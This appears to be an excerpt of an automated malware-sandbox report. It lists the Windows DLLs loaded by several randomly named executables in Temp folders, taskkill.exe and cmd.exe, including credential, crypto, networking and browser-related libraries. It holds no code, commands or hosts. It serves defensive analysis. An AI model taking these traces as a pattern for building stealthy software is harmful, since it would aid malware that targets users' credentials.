Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: winmm.dll
